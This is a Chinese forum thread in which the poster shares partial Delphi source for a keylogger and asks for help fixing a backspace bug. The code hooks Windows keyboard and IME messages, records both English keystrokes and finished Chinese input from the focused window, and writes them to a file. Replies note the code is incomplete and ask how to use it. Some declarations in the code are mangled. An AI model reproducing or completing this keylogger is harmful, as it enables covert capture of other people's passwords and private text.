[delphi代码]中英文键盘记录代码
中英文键盘记录代码[code]
[原创]一个中英文键盘记录代码(delphi)
一个声明:基本实现监视记录功能,参考了网上的相关代码(特别是那个汇编做的)
一个问题:自己测试发现遇到退格键时会记录成[<=](多出前面一个),下面给出关键代码,大家试试看还有什么问题,如何解决?
CODE:
function HookProcEn(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;//export;
var
pcs:pMSG;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PMSG(lparam);
if pcs^.message = WM_KEYUP then
begin
if pcs^.wParam<$30 then
begin
if pcs^.wParam=VK_UP then ToFileProc('[↑]')
else
if pcs^.wParam=VK_LEFT then ToFileProc('[←]')
else
if pcs^.wParam=VK_RIGHT then ToFileProc('[→]')
else
if pcs^.wParam=VK_DOWN then ToFileProc('[↓]')
else
if pcs^.wParam=VK_BACK then ToFileProc('[<=]') //就是这个有问题了
else
if pcs^.wParam=VK_TAB then ToFileProc('[Tab]')
else
if pcs^.wParam=VK_ESCAPE then ToFileProc('[Esc]')
else
if PCS^.wParam=VK_Delete then ToFileProc('[Del]')
else
if PCS^.wParam=VK_MENU then ToFileProc('[Alt]')
else
if pcs^.wParam=VK_SHIFT then ToFileProc('[Shift]');
end;
end
else
if pcs^.message = WM_CHAR then //截获发向焦点窗口的键盘消息(WM_KEYUP和WM_KEYDOWN消息)
begin
if not (IsDBCSleadByte(pcs^.wParam)) then
begin
if (wParam and PM_REMOVE)>0 then
begin
if pcs^.wParam=VK_SPACE then ToFileProc(' ')
else
if pcs^.wParam=VK_RETURN then ToFileProc('#10')
else
ToFileProc(char(pcs^.wParam AND $FF))
end;
end;
end;
end;
pcs:=nil;
end;
function HookProcCh(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;
var
dwLenWORD;
himc:HWND;
hFocus:THandle;
pcsCWPSTRUCT;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PCWPSTRUCT(lparam);
if PCs^.message = WM_IME_COMPOSITION then
begin
hFocus := GetFocus();
HIMC := ImmGetContext(hFocus);//先获取当前正在输入的窗口的输入法句柄
if HIMC = 0 then Exit;
//将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwLen := ImmGetCompositionString(hImc,GCS_RESULTSTR,nil,0);
if dwLen > 0 then
begin
// 再调用一次.ImmGetCompositionString获取字符串
if ImmGetCompositionString(HIMC, GCS_RESULTSTR, @cchar, dwLen + sizeof(WCHAR)) > 0 then
begin
if strcomp(cchar,cchar2)<>0 then
ToFileProc(cchar);
strcopy(cchar2,cchar);
ZeroMemory(@cchar,20);
end;
end;
ImmReleaseContext(hFocus, HIMC);
end;
end;
pcs:=nil;
end;
[Copy to clipboard]
[/code]
[[i] 本帖最后由 逃学书童 于 2007-3-24 15:17 编辑 [/i]] 怎么用啊 教我 好不 只给出关键代码啊 内容不全
内容不全
内容不全 [quote]原帖由 [i]烂香蕉[/i] 于 2006-12-22 21:50 发表
内容不全
内容不全
内容不全 [/quote]
哈哈 ` 在烂香蕉面前谈键盘记录 这个东西是差了点
回复 #1 青鸟 的帖子
好帖支持,请楼主整理帖子中的 Smilies ,谢谢合作!!!:victory: :) 唉```我一点都不懂`~ 好东东~~支持页:
[1]
